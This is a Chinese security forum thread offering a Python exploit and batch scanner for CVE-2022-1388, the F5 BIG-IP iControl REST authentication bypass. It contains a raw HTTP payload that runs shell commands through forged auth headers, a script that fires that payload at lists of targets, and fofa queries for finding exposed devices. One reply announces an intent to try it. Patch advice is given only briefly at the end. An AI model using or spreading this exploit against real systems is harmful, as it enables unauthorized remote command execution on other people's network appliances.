搜索
    Hi~登录注册
    查看: 333|回复: 2
    收起左侧

    python编写CVE-2022-1388 poc利用脚本

    [复制链接]

    56

    主题

    4

    精华

    34 小时

    在线时间

    密圈

    积分
    165
    发表于 2022-5-16 12:18:44 | 显示全部楼层 |阅读模式

    漏洞说明 F5 BIG-IP是美国F5公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。 F5 BIG-IP 存在访问控制错误漏洞,攻击者可以通过构造请求利用该漏洞绕过BIG-IP中的iControl REST身份验证来控制受影响的系统。

    影响版本

    • BIG-IP 16.1.0 - 16.1.2
    • BIG-IP 15.1.0 - 15.1.5
    • BIG-IP 14.1.0 - 14.1.4
    • BIG-IP 13.1.0 - 13.1.4
    • BIG-IP 12.1.0 - 12.1.6
    • BIG-IP 11.6.1 - 11.6.5

    漏洞复现

    fofa: title=="BIG-IP®- Redirect" payload:

    POST /mgmt/tm/util/bash HTTP/1.1
        Host: {ip}
        X-F5-Auth-Token: a
        Authorization: Basic YWRtaW46
        Connection: keep-alive, x-F5-Auth-Token
    
        {"command": "run", "utilCmdArgs": "-c id"}

    [email]WX20220516-121744@2x.png[/email]

    批量检测脚本:

    #!/usr/bin/env python
    # -*- conding:utf-8 -*-
    
    import requests
    import argparse
    import sys
    import json
    import urllib3
    urllib3.disable_warnings()
    
    
    def title():
        print("""
      _____ __      __ ______          ___    ___   ___   ___           __  ____    ___    ___  
     / ____|\ \    / /|  ____|        |__ \  / _ \ |__ \ |__ \         /_ ||___ \  / _ \  / _ \ 
    | |      \ \  / / | |__    ______    ) || | | |   ) |   ) | ______  | |  __) || (_) || (_) |
    | |       \ \/ /  |  __|  |______|  / / | | | |  / /   / / |______| | | |__ <  > _ <  > _ < 
    | |____    \  /   | |____          / /_ | |_| | / /_  / /_          | | ___) || (_) || (_) |
     \_____|    \/    |______|        |____| \___/ |____||____|         |_||____/  \___/  \___/
                                                                   Author:Henry4E36
                   """)
    
    class information(object):
        def __init__(self,args):
            self.args = args
            self.url = args.url
            self.file = args.file
    
        def target_url(self):
            target_url = self.url + "/mgmt/tm/util/bash"
            headers = {
                "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0",
                "X-F5-Auth-Token": "a",
                "Authorization": "Basic YWRtaW46",
                "Connection": "keep-alive, x-F5-Auth-Token"
            }
            data = {"command": "run", "utilCmdArgs": "-c id"}
            try:
                res = requests.post(url=target_url, headers=headers, data=json.dumps(data),verify=False, timeout=5)
                if res.status_code == 200 and "commandResult" in res.text:
                    result = res.json()["commandResult"].split(" ")[:-1]
                    commandresult = " ".join(result)
                    print(f"\033[31m[{chr(8730)}] 目标系统: {self.url} 存在F5 BIG-IP iControl REST身份验证绕过漏洞\033[0m")
                    print(f"\033[31m执行结果为:{commandresult}\033[0m")
                    print("[" + "-"*100 + "]")
                else:
                    print(f"[\033[31mx\033[0m]  目标系统: {self.url} 不存在F5 BIG-IP iControl REST身份验证绕过漏洞")
                    print("[" + "-"*100 + "]")
            except Exception as e:
                print("[\033[31mX\033[0m]  连接错误!")
                print("[" + "-"*100 + "]")
    
        def file_url(self):
            with open(self.file, "r") as urls:
                for url in urls:
                    url = url.strip()
                    if url[:4] != "http":
                        url = "http://" + url
                    self.url = url.strip()
                    information.target_url(self)
    
    
    if __name__ == "__main__":
        title()
        parser = ar=argparse.ArgumentParser(description=' F5 BIG-IP iControl REST身份验证绕过漏洞')
        parser.add_argument("-u", "--url", type=str, metavar="url", help="Target url eg:\"http://127.0.0.1\"")
        parser.add_argument("-f", "--file", metavar="file", help="Targets in file  eg:\"ip.txt\"")
        args = parser.parse_args()
        if len(sys.argv) != 3:
            print(
                "[-]  参数错误!\neg1:>>>python3 CVE-2022-1388.py -u http://127.0.0.1\neg2:>>>python3 CVE-2022-1388.py -f ip.txt")
        elif args.url:
            information(args).target_url()
    
        elif args.file:
            information(args).file_url()

    修复建议

    目前厂商已发布升级补丁以修复漏洞,补丁获取链接: https://support.f5.com/csp/article/K2360534

    回复

    使用道具 举报

    88

    主题

    0

    精华

    192 小时

    在线时间

    密圈

    积分
    71
    发表于 2022-5-16 12:19:33 | 显示全部楼层
    (server="BigIP" || title="BIG-IP&reg;- Redirect")  && server!="Jboss" && server!="360 web server"
    回复 支持 反对

    使用道具 举报

    41

    主题

    0

    精华

    46 小时

    在线时间

    密圈

    积分
    37
    发表于 2022-5-19 06:51:33 | 显示全部楼层
    刚发现,牛逼。我去试试
    回复 支持 反对

    使用道具 举报

    游客
    回复
    您需要登录后才可以回帖 登录 | 获取账号

    快速回复 返回顶部 返回列表